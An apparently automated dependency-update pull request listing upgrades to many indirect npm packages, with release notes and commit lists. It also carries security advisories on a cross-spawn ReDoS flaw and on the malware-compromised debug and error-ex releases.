Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 16 commits:
5.3.0Add Node.js v26.4.0 modules (#23)5.2.0Add Node.js v26.1.0 modules (#22)5.1.0Add Node.js v25.9.0 modules (#21)Add Node.js version to automated PR title (#19)5.0.0Minor tweaksUpdate module list (#18)Fix CI4.0.0Require Node.js 18 and move to ESM3.3.0Update static list of built-in modulesImprove browser compatibility (#15)
โ๏ธ caniuse-lite (indirect, 1.0.30001249 โ 1.0.30001803) ยท Repo ยท Changelog
โ๏ธ chalk (indirect, 4.1.2 โ 5.6.2) ยท Repo
Release Notes
5.6.2
- Fix vulnerability in 5.6.1, see: #656
5.6.0
- Make WezTerm terminal use true color a8f5bf7
5.5.0
5.4.1
5.4.0
- Update
CIRCLECIenvironments to return level 3 color support f838120
5.3.0
5.2.0
5.1.2
5.1.1
5.1.0
5.0.1
- Add
mainfield to package.json for backwards compatibility with some developer tools 85f7e96
5.0.0
Breaking
- This package is now pure ESM. Please read this.
- If you use TypeScript, you will want to stay on Chalk 4 until TypeScript 4.6 is out. Why.
- If you use a bundler, make sure it supports ESM and that you have correctly configured it for ESM.
- The Chalk issue tracker is not a support channel for your favorite build/bundler tool.
- Require Node.js 12.20 fa16f4e
- Move some properties off the default export to individual named exports:
chalk.InstanceโChalkchalk.supportsColorโsupportsColorchalk.stderrโchalkStderrchalk.stderr.supportsColorโsupportsColorStderr- Remove
.keyword(),.hsl(),.hsv(),.hwb(), and.ansi()coloring methods (#433) 4cf2e40
- These were not commonly used and added a lot of bloat to Chalk. You can achieve the same by using the
color-convertpackage.- The tagged template literal support moved into a separate package:
chalk-template(#524) c987c61-import chalk from 'chalk'; +import chalkTemplate from 'chalk-template'; -chalk`2 + 3 = {bold ${2 + 3}}`; +chalkTemplate`2 + 3 = {bold ${2 + 3}}`;Improvements
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ ci-info (indirect, 3.2.0 โ 4.4.0) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ commander (indirect, 2.20.3 โ 8.3.0) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ confusing-browser-globals (indirect, 1.0.10 โ 1.0.11) ยท Repo ยท Changelog
Release Notes
1.0.11
1.0.11 (2017-08-09)
๐ Bug Fix
create-react-app
#2884 Improve offline heuristic for proxied environments. (@bsyk)
When a Yarn proxy is set, we will check its connectivity if we cannot reach Yarn's registry. This is often the case when DNS lookups must be made through the proxy.
#2853 Allow use of scoped packages with a pinned version. (@wileybenet)
react-dev-utils
react-dev-utils,react-scripts
react-scripts
- #2806 Fix SockJS version compatibility. (@christianbundy)
- #2738 Fix Jest
nodefile resolution. (@mostafah)
๐ Enhancement
react-scripts
#2818 Allow sourcemaps to be disabled. (@viankakrisna)
As applications grow more complex, it is possible webpack may run out of memory while generating source maps. They may now be disabled by setting
GENERATE_SOURCEMAP=false.#2913 Allow flags to be passed to node when running
react-scripts. (@koistya)#2747 Simplify webpack configuration using
Rule.oneOf. (@Furizaa)react-dev-utils,react-scripts
- #2468 Allow importing
package.json. (@iamdoron)- #2650 Make UglifyJS error friendlier. (@viankakrisna)
create-react-app
- #2785 Change error wording and list conflicting files when initializing app. (@OwenFlood)
react-dev-utilseslint-config-react-app,react-scripts
- #2735 Upgrade to
eslint@4. (@trungdq88)eslint-config-react-app
- #2701 Set
allowTaggedTemplatesto true (eslint). (@denkristoffer)
๐ Documentation
- Other
- #2728 Add Electrode to alternatives. (@animesh10)
- #2788 Update link for motion. (@viankakrisna)
- #2697 Fix env list ordering. (@alexeyraspopov)
react-dev-utils
- #2798 Update note about
webpackHotDevClientsupport. (@ForbesLindesay)react-scriptsbabel-preset-react-app
- #2732 Update link to issue blocking JSX hoisting. (@ForbesLindesay)
๐ Internal
create-react-app,eslint-config-react-app,react-dev-utils,react-error-overlay,react-scriptseslint-config-react-app
- #2718 Re-enable flowtype warning. (@oskarkook)
- Other
react-scripts
- #2873 Use template strings. (@monkindey)
Committers: 26
- 864907600cc (ccloli)
- Ade Viankakrisna Fadlil (viankakrisna)
- Alexey Raspopov (alexeyraspopov)
- Andreas Hoffmann (Furizaa)
- Animesh Dutta (animesh10)
- Ben Sykes (bsyk)
- Christian Bundy (christianbundy)
- Dan Abramov (gaearon)
- Dan Ristea (danrr)
- Danny Ho (hodanny)
- Forbes Lindesay (ForbesLindesay)
- Joe Haddad (Timer)
- Jon Crenshaw (jdcrensh)
- Kiho ยท Cham (monkindey)
- Konstantin Tarkus (koistya)
- Kristoffer (denkristoffer)
- Mostafa Hajizadeh (mostafah)
- Oskar Kรถรถk (oskarkook)
- Owen Flood (OwenFlood)
- Stรฉphane Goetz (onigoetz)
- Trygve Aaberge (trygveaa)
- Wiley Bennett (wileybenet)
- iamdoron
- themre
- zeel (zeel)
- ฤinh Quang Trung (trungdq88)
Migrating from 1.0.10 to 1.0.11
Inside any created project that has not been ejected, run:
npm install --save --save-exact react-scripts@1.0.11or
yarn add --exact react-scripts@1.0.11
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 39 commits:
PublishPrepare for 1.0.11 release (#2924)Update dev deps (#2923)Update README.mdUse env variable to disable source maps (#2818)Make formatWebpackMessages return all messages (#2834)Adjust the `checkIfOnline` check if in a corporate proxy environment (#2884)Fix the order of arguments in spawned child proc (#2913)Feature/webpack 3 4 (#2875)Allow importing package.json (#2468)Re-enable flowtype warning (#2718)Format UglifyJs error (#2650)Unstage yarn.lock pre-commit (#2700)Update README.mdUpdate README.mdAdd Electrode to alternatives (#2728)Fix parsing HTML/JSX tags to real elements (#2796)Update webpack version note (#2798)Use modern syntax feature (#2873)Allow use of scoped packages with a pinned version (#2853)Bump Webpack 3.4 (#2850)Feature/webpack3 (#2574)Add explicit "Opting Out of Caching" header (#2822)Upgrade webpack-dev-server (#2806)Update link for motion (#2788)List conflicting files when initializing app (#2785)Moved npm run build before npm test (#2725)Docs for react-router v4 basename feature (#2668)Don't prompt to install serve if already installed (#2761)Autodetect JetBrains IDEs (#2754)Use Rule.oneOf to resolve correct loader (#2747)ESLint 4 (#2735)Add "node" to Jest's moduleFileExtensions (#2738)Support PyCharm in launchEditor (#2740)Update link to issue blocking JSX hoisting (#2732)Reorder vim arguments in launchEditor so --remote works (#2723)Remove Windows note for source-map-explorer (#2719)allowTaggedTemplates to avoid warnings from SC's (#2701)Issue template: fix env list ordering (#2697)
โ๏ธ cosmiconfig (indirect, 7.0.0 โ 9.0.2) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
โ๏ธ cross-spawn (indirect, 7.0.3 โ 7.0.6) ยท Repo ยท Changelog
Security Advisories ๐จ
๐จ Regular Expression Denial of Service (ReDoS) in cross-spawn
Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.
Release Notes
7.0.6 (from changelog)
Bug Fixes
- update cross-spawn version to 7.0.5 in package-lock.json (f700743)
7.0.5 (from changelog)
Bug Fixes
- fix escaping bug introduced by backtracking (640d391)
7.0.4 (from changelog)
Bug Fixes
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 15 commits:
chore(release): 7.0.6chore: upgrade standard-versionfix: update cross-spawn version to 7.0.5 in package-lock.jsonchore: fix build status badgechore(release): 7.0.5fix: fix escaping bug introduced by backtrackingchore: remove codecovchore: replace travis with github workflowschore(release): 7.0.4fix: disable regexp backtracking (#160)chore: fix tests in recent node js versionschore: convert package lockchore: remove unused argument (#156)chore: add travis jobs on ppc64le (#142)chore: fix audit warning
โ๏ธ debug (indirect, 4.3.2 โ 4.4.3) ยท Repo ยท Changelog
Security Advisories ๐จ
๐จ debug@4.4.2 contains malware after npm account takeover
Impact
On 8 September 2025, the npm publishing account for
debugwas taken over after a phishing attack. Version4.4.2was published, functionally identical to the previous patch version, but with a malware payload added attempting to redirect cryptocurrency transactions to the attacker's own addresses from within browser environments.Local environments, server environments, command line applications, etc. are not affected. If the package was used in a browser context (e.g. a direct
<script>inclusion, or via a bundling tool such as Babel, Rollup, Vite, Next.js, etc.) there is a chance the malware still exists and such bundles will need to be rebuilt.The malware seemingly only targets cryptocurrency transactions and wallets such as MetaMask. See references below for more information on the payload.
Patches
npm removed the offending package from the registry over the course of the day on 8 September, preventing further downloads from npm proper.
On 13 September, the package owner published new patch versions to help cache-bust those using private registries who might still have the compromised version cached. This version is functionally identical to the previously known-good version, published as a patch version bump above the compromised version.
Users should upgrade to the latest patch version, completely remove their
node_modulesdirectory, clean their package manager's global cache, and rebuild any browser bundles from scratch.Those operating private registries or registry mirrors should purge the offending versions from any caches.
References
- https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised
- https://socket.dev/blog/npm-author-qix-compromised-in-major-supply-chain-attack
- https://www.ox.security/blog/npm-packages-compromised/
Point of Contact
In the event suspicious behavior is still observed for the package listed in this security advisory after performing all of the above cleaning operations (see Patches above), please reach out via one of the following channels of communication:
- Bluesky, package owner: https://bsky.app/profile/bad-at-computer.bsky.social
debugrepository, tracking issue (applies to all packages affected in the breach): #1005
Release Notes
4.4.3
Functionally identical release to
4.4.1.Version
4.4.2is compromised. Please see #1005.
4.4.1
What's Changed
- fix(Issue-996): replace whitespaces in namespaces string with commas globally by @pdahal-cx in #997
- fixes #987 fallback to localStorage.DEBUG if debug is not defined by @lzilioli in #988
New Contributors
- @pdahal-cx made their first contribution in #997
- @lzilioli made their first contribution in #988
Full Changelog: 4.4.0...4.4.1
4.4.0
Fixes (hopefully) the inefficient regex warnings in
.enable().Minor version as this is invariably going to break certain users who misuse the
.enable()API and expected it to work with regexes, which was never supported nor documented. That's on you, sorry - that functionality won't be added back.Full Changelog: 4.3.7...4.4.0
4.3.7
What's Changed
- Upgrade ms to version 2.1.3 by @realityking in #819
Full Changelog: 4.3.6...4.3.7
4.3.6
What's Changed
New Contributors
Full Changelog: 4.3.5...4.3.6
4.3.5
Patch
Thank you @calvintwr for the fix.
4.3.4
What's Changed
- Add section about configuring JS console to show debug messages by @gitname in #866
- Replace deprecated String.prototype.substr() by @CommanderRoot in #876
New Contributors
- @gitname made their first contribution in #866
- @CommanderRoot made their first contribution in #876
Full Changelog: 4.3.3...4.3.4
4.3.3
Patch Release 4.3.3
This is a documentation-only release. Further, the repository was transferred. Please see notes below.
- Migrates repository from https://github.com/visionmedia/debug to https://github.com/debug-js/debug. Please see notes below as to why this change was made.
- Updates repository maintainership information
- Updates the copyright (no license terms change has been made)
- Removes accidental epizeuxis (#828)
- Adds README section regarding usage in child procs (#850)
Thank you to @taylor1791 and @kristofkalocsai for their contributions.
Repository Migration Information
I've formatted this as a FAQ, please feel free to open an issue for any additional question and I'll add the response here.
Q: What impact will this have on me?
In most cases, you shouldn't notice any change.
The only exception I can think of is if you pull code directly from https://github.com/visionmedia/debug, e.g. via a
"debug": "visionmedia/debug"-type version entry in your package.json - in which case, you should still be fine due to the automatic redirection Github sets up, but you should also update any references as soon as possible.Q: What are the security implications of this change?
If you pull code directly from the old URL, you should update the URL to https://github.com/debug-js/debug as soon as possible. The old organization has many approved owners and thus a new repository could (in theory) be created at the old URL, circumventing Github's automatic redirect that is in place now and serving malicious code. I (@Qix-) also wouldn't have access to that repository, so while I don't think it would happen, it's still something to consider.
Even in such a case, however, the officially released package on npm (
debug) would not be affected. That package is still very much under control (even more than it used to be).Q: What should I do if I encounter an issue related to the migration?
Search the issues first to see if someone has already reported it, and then open a new issue if someone has not.
Q: Why was this done as a 'patch' release? Isn't this breaking?
No, it shouldn't be breaking. The package on npm shouldn't be affected (aside from this patch release) and any references to the old repository should automatically redirect.
Thus, according to all of the "APIs" (loosely put) involved, nothing should have broken.
I understand there are a lot of edge cases so please open issues as needed so I can assist in any way necessary.
Q: Why was the repository transferred?
I'll just list them off in no particular order.
- The old organization was defunct and abandoned.
- I was not an owner of the old organization and thus could not ban the non-trivial amount of spam users or the few truly abusive users from the org. This hindered my ability to properly maintain this package.
- The
debugecosystem intends to grow beyond a single package, and since new packages could not be created in the old org (nor did it make sense for them to live there), a new org made the most sense - especially from a security point of view.- The old org has way, way too many approved members with push access, for which there was nothing I could do. This presented a pretty sizable security risk given that many packages in recent years have fallen victim to backdoors and the like due to lax security access.
Q: Was this approved?
Q: Do I need to worry about another migration sometime in the future?
No.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 26 commits:
4.4.34.4.1remove istanbulfixes #987 fallback to localStorage.DEBUG if debug is not defined (#988)Replace whitespaces in namespaces string with commas globally instead of just the first space occurrence. (#997)4.4.0fix inefficient .enable() regex and .enabled() test4.3.7Upgrade ms to version 2.1.3 (#819)remove archaic badges from readme4.3.6Avoid using deprecated RegExp.$14.3.5update authorship contact infoFix/debug depth (#926)remove .github folder (and the outdated issue templates)Update ISSUE_TEMPLATE.mdUpdate ISSUE_TEMPLATE.md4.3.4replace deprecated String.prototype.substr() (#876)add section about configuring JS console to show debug messages (#866)4.3.3update license and more maintainership informationupdate repository location + maintainership informationadds README section regarding usage in child procs (#850)Remove accidental epizeuxis
โ๏ธ deep-is (indirect, 0.1.3 โ 0.1.4) ยท Repo
Commits
See the full diff on Github. The new version differs by 3 commits:
โ๏ธ electron-to-chromium (indirect, 1.3.799 โ 1.5.389) ยท Repo ยท Changelog
Commits
See the full diff on Github. The new version differs by 2 commits:
โ๏ธ enhanced-resolve (indirect, 0.9.1 โ 5.24.2) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ env-editor (indirect, 0.4.2 โ 1.3.0) ยท Repo
Release Notes
1.3.0
- Add support for PhpStorm 08c327f
1.2.0
1.1.0
1.0.0
Breaking
0.5.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 13 commits:
โ๏ธ error-ex (indirect, 1.3.2 โ 1.3.4) ยท Repo
Security Advisories ๐จ
๐จ error-ex@1.3.3 contains malware after npm account takeover
Impact
On 8 September 2025, an npm publishing account for
error-exwas taken over after a phishing attack. Version1.3.3was published, functionally identical to the previous patch version, but with a malware payload added attempting to redirect cryptocurrency transactions to the attacker's own addresses from within browser environments.Local environments, server environments, command line applications, etc. are not affected. If the package was used in a browser context (e.g. a direct
<script>inclusion, or via a bundling tool such as Babel, Rollup, Vite, Next.js, etc.) there is a chance the malware still exists and such bundles will need to be rebuilt.The malware seemingly only targets cryptocurrency transactions and wallets such as MetaMask. See references below for more information on the payload.
Patches
npm removed the offending package from the registry over the course of the day on 8 September, preventing further downloads from npm proper.
On 13 September, the package owner published new patch versions to help cache-bust those using private registries who might still have the compromised version cached. This version is functionally identical to the previously known-good version, published as a patch version bump above the compromised version.
Users should update to the latest patch version, completely remove their
node_modulesdirectory, clean their package manager's global cache, and rebuild any browser bundles from scratch.Those operating private registries or registry mirrors should purge the offending versions from any caches.
References
- https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised
- https://socket.dev/blog/npm-author-qix-compromised-in-major-supply-chain-attack
- https://www.ox.security/blog/npm-packages-compromised/
Point of Contact
In the event suspicious behavior is still observed for the package listed in this security advisory after performing all of the above cleaning operations (see Patches above), please reach out via one of the following channels of communication:
- Bluesky, compromised publishing account owner: https://bsky.app/profile/bad-at-computer.bsky.social
debugrepository, tracking issue (applies to all packages affected in the breach): debug-js/debug#1005
Release Notes
1.3.4
Functionally identical release to
1.3.2.Version
1.3.3is compromised. Please see debug-js/debug#1005.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 3 commits:
โ๏ธ escalade (indirect, 3.1.1 โ 3.2.0) ยท Repo
Release Notes
3.2.0
Patches
- Declare separate ESM and CommonJS TypeScript definitions: a72e1c3
Previously, only ESM definitions were shipped but were exported in a way that could cause tool/resolution ambiguity.Chores
- Update Node.js version matrix in CI suite: a8c6820
Full Changelog: v3.1.2...v3.2.0
3.1.2
Patches
- Support TypeScriptโs
nodenextmodule resolution mode (#10): d872fbdThank you @NMinhNguyen
Chores
- Add
licenses.devbadge to README: 02dcb8b- Update CI matrix versions: 3c916b2
Full Changelog: v3.1.1...v3.1.2
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 7 commits:
โ๏ธ eslint (indirect, 7.32.0 โ 10.6.0) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 32 commits:
10.6.0Build: changelog update for 10.6.0ci: run ecosystem tests on main branch (#20891)feat: detect Symbol() and BigInt() in no-constant-binary-expression (#20981)ci: bump actions/checkout from 6 to 7 (#21014)chore: correct JSDoc param types in html formatter (#21018)docs: Update READMEci: split ecosystem tests into separate jobs (#21001)fix: prefer-exponentiation-operator invalid autofix at statement start (#20997)fix: account for shadowed `Boolean` in `no-extra-boolean-cast` (#21013)fix: don't report shadowed undefined in `radix` rule (#21011)fix: don't report shadowed undefined in no-throw-literal (#21010)fix: suppress invalid class suggestion in no-promise-executor-return (#21008)fix: don't report shadowed undefined in prefer-promise-reject-errors (#21006)chore: update ecosystem plugins (#21005)fix: prefer-promise-reject-errors false positives for shadowed Promise (#21003)feat: add checkRelationalComparisons to no-constant-binary-expression (#20948)docs: document userland patterns for global assertionOptions in RuleTโฆ (#20986)fix: restore max-classes-per-file report range (#21002)docs: Update READMEfix: callback detection logic for IIFEs in max-nested-callbacks (#20979)ci: bump pnpm/action-setup from 6.0.8 to 6.0.9 (#20989)docs: update code-path diagrams (#20984)docs: add TypeScript config guidance for MCP server (#20796)fix: don't report inner non-callbacks in `max-nested-callbacks` (#20995)docs: Update READMEchore: update dependency markdown-it to v14 in root (#20994)chore: update dependency markdown-it to v14 (#20993)chore: update dependency prettier to v3.8.4 (#20990)docs: Update READMEchore: update ecosystem plugins (#20985)docs: fix grammar in prefer-const rule description (#20983)
โ๏ธ eslint-config-xo (indirect, 0.38.0 โ 0.57.0) ยท Repo
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ eslint-formatter-pretty (indirect, 4.1.0 โ 7.1.0) ยท Repo
Release Notes
7.1.0
7.0.0
Breaking
- Require Node.js 20 206879b
Improvements
- Add universal hyperlinks for filename headers 206879b
6.0.1
6.0.0
Breaking
- Require Node.js 18 13383af
5.0.0
Breaking
- Require Node.js 14 ee9a212
Improvements
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 17 commits:
7.1.0Support VSCode built-in hyperlink function (#67)Fix CI7.0.0Add universal hyperlinks for filename headers and require Node.js 20Update readme note (#65)6.0.1Fix compatibility with xterm (#61)Meta tweaksAdd note about ESLint compatibilityFix CI6.0.0Require Node.js 18Fix CI5.0.0Require Node.js 14Update `@types/eslint` dependency (#57)
โ๏ธ eslint-plugin-ava (indirect, 12.0.0 โ 17.0.1) ยท Repo
Release Notes
17.0.1
- Update dependencies 12c341a
17.0.0
Breaking
- Require Node.js 22 8572071
Improvements
- Support
t.snapshot()formatAsCodeBlockoptions 38cd4fd- Remove
enhance-visitorsdependency a867c89test-title-format: Check template literal titles 41a1016Fixes
use-true-false: FixObject.hasOwn()not being flagged 82118fbno-incorrect-deep-equal: FixNaN,Infinity, and-Infinitynot being flagged e4ce630use-true-false: Fixinandinstanceofnot being flagged 9a8832cno-incorrect-deep-equal: Fix negative number literals not being flagged dbb691bno-identical-title: Fix duplicate not detected across string literal and template literal f418374no-incorrect-deep-equal: Fix.skipvariants not being flagged 0299697prefer-async-await: Fix false positive on nested functions f2ae631hooks-order: Fix serial hooks being ignored 03640ec- Don't crash or report false positives when a computed member expression is used as a test modifier 7c78018
use-t-well: Don't crash when a computed member expression is used 7b5cab1use-t: Don't crash when a test call has no arguments 41caf01prefer-t-regex: Don't crash or report when bareRegExp()is compared to a boolean 9f27e14prefer-t-regex: Don't crash or suggest invalid fix when.test()is called without arguments a863404use-t-throws-async-well: Fix autofix not offered for titled async tests affa778- Fix handling of
t.skip67bf495
16.0.1
no-nested-tests: Fix false positive on tests following a nested pair 0a1218dno-async-fn-without-await: Fix invalid error location end b596b27use-t: Fix crash when macro object contains a spread element 9bea7fcno-async-fn-without-await: Fixawaitin nested functions being counted as test-levelawait90f7a0bno-conditional-assertion: Ignore conditionals wrapping the entiretest()call 2077c22
16.0.0
Breaking
- This package is now pure ESM. Please read this.
- Require Node.js 20.19 3b18df5
- Require ESLint 10 3b18df5
- Move to flat config 3b18df5
- Drop CommonJS handling in rules efd83bc
- The
no-unknown-modifiersandno-duplicate-modifierswere deprecated in favor ofno-invalid-modifier-chainNew rules
no-conditional-assertion8087fb6no-duplicate-hookse95999brequire-assertion243e9fano-invalid-modifier-chain32a434ano-negated-assertion24109beno-ava-in-dependencies74a2952failing-test-urle80bcdfno-useless-t-passd2d51c7no-nested-assertions7c2fcf6prefer-t-throwse798c78no-commented-tests8a31984Improvements
- Support TypeScript typed test pattern in all rules 14af035
- Recognize alternative test object names in
t.try()callbacks 6435768- Cache
loadAvaHelperresult to improve performance 98d7655- Fix monorepo support in project root detection 8e63d63
test-title: Add title validation checks 4e14de5assertion-arguments: Detect error constructors passed as assertion messages d87de24use-t-well: Suggest AVA equivalents for common assertion names from other test frameworks 449013ano-unknown-modifiers: Forbid.alwayswithoutafter/afterEachb8c93c2assertion-arguments: Detect swappedt.regex()/t.notRegex()arguments 88e73a7use-t-well: Allow callingt.contextas a function be9d321assertion-arguments: Validatet.plan()argument is a non-negative integer 7375d05prefer-async-await: Add more optional chaining test cases af9be74prefer-async-await: Handle optional chaining in.then()detection 75c49d0no-import-test-files: Fix false positive for directory imports 1e06401assertion-arguments: Recognize string concatenation as valid assertion message a31315ause-true-false: Prefert.true()/t.false()overt.is(โฆ, true)/t.is(โฆ, false)66d4b15assertion-arguments: Add test for destructured parameter as assertion message fb95ef2use-test: Allow inline type imports 4f1403ause-test: Support.mtsand.ctsTypeScript file extensions bd2274aassertion-arguments: Fix crash when assertion message argument is an unresolvable variable 32965c3
15.1.0
15.0.1
- Fix flat config eb6088b
15.0.0
Breaking
14.0.0
Breaking
- Require Node.js 14 and ESLint 8 bd8c4c6
Fixes
13.2.0
What's Changed
Full Changelog: v13.1.0...v13.2.0
13.1.0
Full Changelog: v13.0.0...v13.1.0
13.0.0
This release contains changes for compatibility with AVA 4, but can still be used with AVA 3 projects. Note however that
test.cb()is being removed in AVA 4 and is no longer covered by this plugin.
- Support the
defaultmodifier in AVA 4 64cc8c6- Match AVA 4 supported Node.js versions (^12.22, ^14.17, ^16.4) 98f7613
- Remove callback-test related rules, this is being removed in AVA 4 2f8a226
- Support
test.macro(), new in AVA 4 abc162fOther changes:
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ eslint-plugin-unicorn (indirect, 35.0.0 โ 71.1.0) ยท Repo
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ eslint-rule-docs (indirect, 1.1.231 โ 1.1.235) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โ๏ธ eslint-scope (indirect, 5.1.1 โ 9.1.2) ยท Repo ยท Changelog
Release Notes
9.1.2 (from changelog)
Dependencies
- The following workspace dependencies were updated
- devDependencies
- espree bumped from ^11.1.1 to ^11.2.0
9.1.1 (from changelog)
Dependencies
- The following workspace dependencies were updated
- devDependencies
- eslint-visitor-keys bumped from ^5.0.0 to ^5.0.1
- espree bumped from ^11.1.0 to ^11.1.1
8.0.2
8.0.2 (2024-07-08)
Bug Fixes
8.0.1
8.0.1 (2024-03-20)
Documentation
Chores
8.0.0
8.0.0 (2024-01-04)
โ BREAKING CHANGES
- use ESTree
directiveproperty when searching for"use strict"(#118)- class
extendsis evaluated in the class scope (#116)- Require Node.js ^18.18.0 || ^20.9.0 || >=21.1.0 (#115)
Features
- Require Node.js ^18.18.0 || ^20.9.0 || >=21.1.0 (#115) (ed67857)
- use ESTree
directiveproperty when searching for"use strict"(#118) (23fe81f)Bug Fixes
Documentation
Chores
7.2.2
7.2.2 (2023-07-27)
Chores
7.2.1
7.2.1 (2023-05-31)
Chores
7.2.0
Features
Documentation
Build Related
Chores
7.1.1
Bug Fixes
Chores
7.1.0
Features
7.0.0
Breaking Changes
Build Related
6.0.0
4ee1d80Fix: Ensure correct version in package (#73) (Nicholas C. Zakas)82a7e6dBreaking: Switch to ESM (fixes #70) (#71) (Brett Zamir)0b4a5f1Update: support class fields (refs eslint/eslint#14343) (#69) (Toru Nagashima)39f8cfcChore: upgrade estraverse to version 5 (#68) (Rouven Weรling)ae27ff3Docs: Add range to espree options in README (fixes #66) (#67) (Alan Liang)
Does any of this look wrong? Please let us know.
โ๏ธ eslint-visitor-keys (indirect, 2.1.0 โ 5.0.1) ยท Repo ยท Changelog
Release Notes
5.0.1
4.0.0
4.0.0 (2024-02-08)
โ BREAKING CHANGES
- Require Node.js
^18.18.0 || ^20.9.0 || >=21.1.0(#63)Features
Chores
3.4.3
3.4.3 (2023-08-08)
Chores
3.4.2
3.4.2 (2023-07-27)
Documentation
Chores
3.4.1
3.4.1 (2023-05-05)
Bug Fixes
Chores
3.4.0
Features
Bug Fixes
Documentation
Build Related
Chores
3.3.0
Features
3.2.0
Features
Documentation
3.1.0
Enhancements
Documentation
Build Related
5e3e687build: upgrade eslint-release to v3.2.0 to support conventional commits (#31) (Milos Djermanovic)53d3939Build: add node v17 (#30) (ๅฏ็ถ)Chores
e89bff9Chore: use actions/setup-node@v2 (่ๅฎ่ฐ็็ซ)
3.0.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ espree (indirect, 7.3.1 โ 11.2.0) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
โ๏ธ espurify (indirect, 2.1.1 โ 3.2.0) ยท Repo ยท Changelog
Release Notes
3.2.0 (from changelog)
Features
3.1.0 (from changelog)
Features
- Support ES2023 and ES2024 (a03f0b2e)
3.0.0 (from changelog)
Features
Provide ecmaVersion option to make cloned AST conform to each annual estree spec
- set default ecmaVersion to 2022
Introduce
espurify.purifyAstas an alias of default functionRename all WhiteList to AllowList in favor of more inclusive language
- support PropertyDefinition
- support PrivateIdentifier
- support StaticBlock
- support ChainExpression
- support ImportExpression
- support exported property of ExportAllDeclaration
- support BigInt literals
Breaking Changes
This release will not affect most users immediately. There are three notable changes.
espurifyfunction is still exported as default but deprecated in favor of named exports aiming ESM era, and will be removed in future major releases. Please useespurify.purifyAstinstead.
espurify.cloneWithWhitelistis still exported but deprecated in favor of more inclusive language and will be removed in future major releases. Please useespurify.cloneWithAllowlistinstead.Some new properties will appear in purified AST and may affect deep-equality of the tree, since default ecmaVersion is changed from 2018 to 2022 which add some properties to existing Nodes.
- CallExpression: ['type', 'callee', 'arguments'], + CallExpression: ['type', 'callee', 'arguments', 'optional'], - ExportAllDeclaration: ['type', 'source'], + ExportAllDeclaration: ['type', 'source', 'exported'], - Literal: ['type', 'value', 'regex'], + Literal: ['type', 'value', 'regex', 'bigint'],To make espurify's behavior same as v2, please use
espurify.customizefunction withecmaVersion: 2018option.const purify = espurify.customize({ ecmaVersion: 2018 }); const clonedAst = purify(originalAst);
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ esquery (indirect, 1.4.0 โ 1.7.0) ยท Repo
Sorry, we couldnโt find anything useful about this release.
โ๏ธ estraverse (indirect, 4.3.0 โ 5.3.0) ยท Repo
Commits
See the full diff on Github. The new version differs by 9 commits:
โ๏ธ execa (indirect, 5.1.1 โ 9.6.1) ยท Repo
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ fast-glob (indirect, 3.2.7 โ 3.3.3) ยท Repo
Release Notes
3.3.3
Full Changelog: 3.3.2...3.3.3
๐ฌ Common
๐ Bug fixes
3.3.2
Full Changelog: 3.3.1...3.3.2
๐ Bug fixes
3.3.1
Full Changelog: 3.3.0...3.3.1
This release fixes a regression for cases where the
ignoreoption is used with a string (#403, #404).The public interface of this package does not support a string as the value for the
ignoreoption since 2018 year (release).So, in the next major release, we will reintroduce method implementations that do not involve strings in the
ignoreoption.
3.3.0
Full Changelog: 3.2.12...3.3.0
๐ ImprovementsMethod aliases
New methods (
glob,globSync,globStream) have been added in addition to the current methods (default import,sync,stream), which eliminate the need to rename the method when importing. In addition, anasyncalias has been added for the default import, which makes it possible to use this packet with ESM.Method to convert paths to globs
A new method (
convertPathToPattern) has been added in this release to convert a path to a pattern. The primary goal is to enable users to avoid processing Windows paths in each location where this package is used by utilities from third-party packages.See more details in the pull request.
๐ Bug fixes
- In the past, we mishandled patterns that contained slashes when the
baseNameMatchoption was enabled, which went against the documented behavior. (#312)- Several problems with matching patterns that contain brace expansion have been resolved. The primary issue solved is when the pattern has duplicate slashes after it is expanded (#394), or the
micromatchpackage does not correctly generate a regular expression (#365).- All negative patterns will now have the
dotoption enabled when matching paths. Previously, the!**/*patterns did not exclude hidden files (start with a dot). (#343)- The issue that led to duplicates in the results when overlapping or duplicate patterns were present among the patterns has been fixed. At the moment, we are only talking about leading dot. Other cases are not included. For example, running with the patterns
['./file.md', 'file.md', '*']will now only includefile.mdonce in the results. (#190)
๐ DocumentationA clarifying note has been added for the
concurrencyoption, which provides more detailed information about the Thread Pool utilization.
โ๏ธ Infrastructure
- The benchmark in CI is now running on Node.js 20.
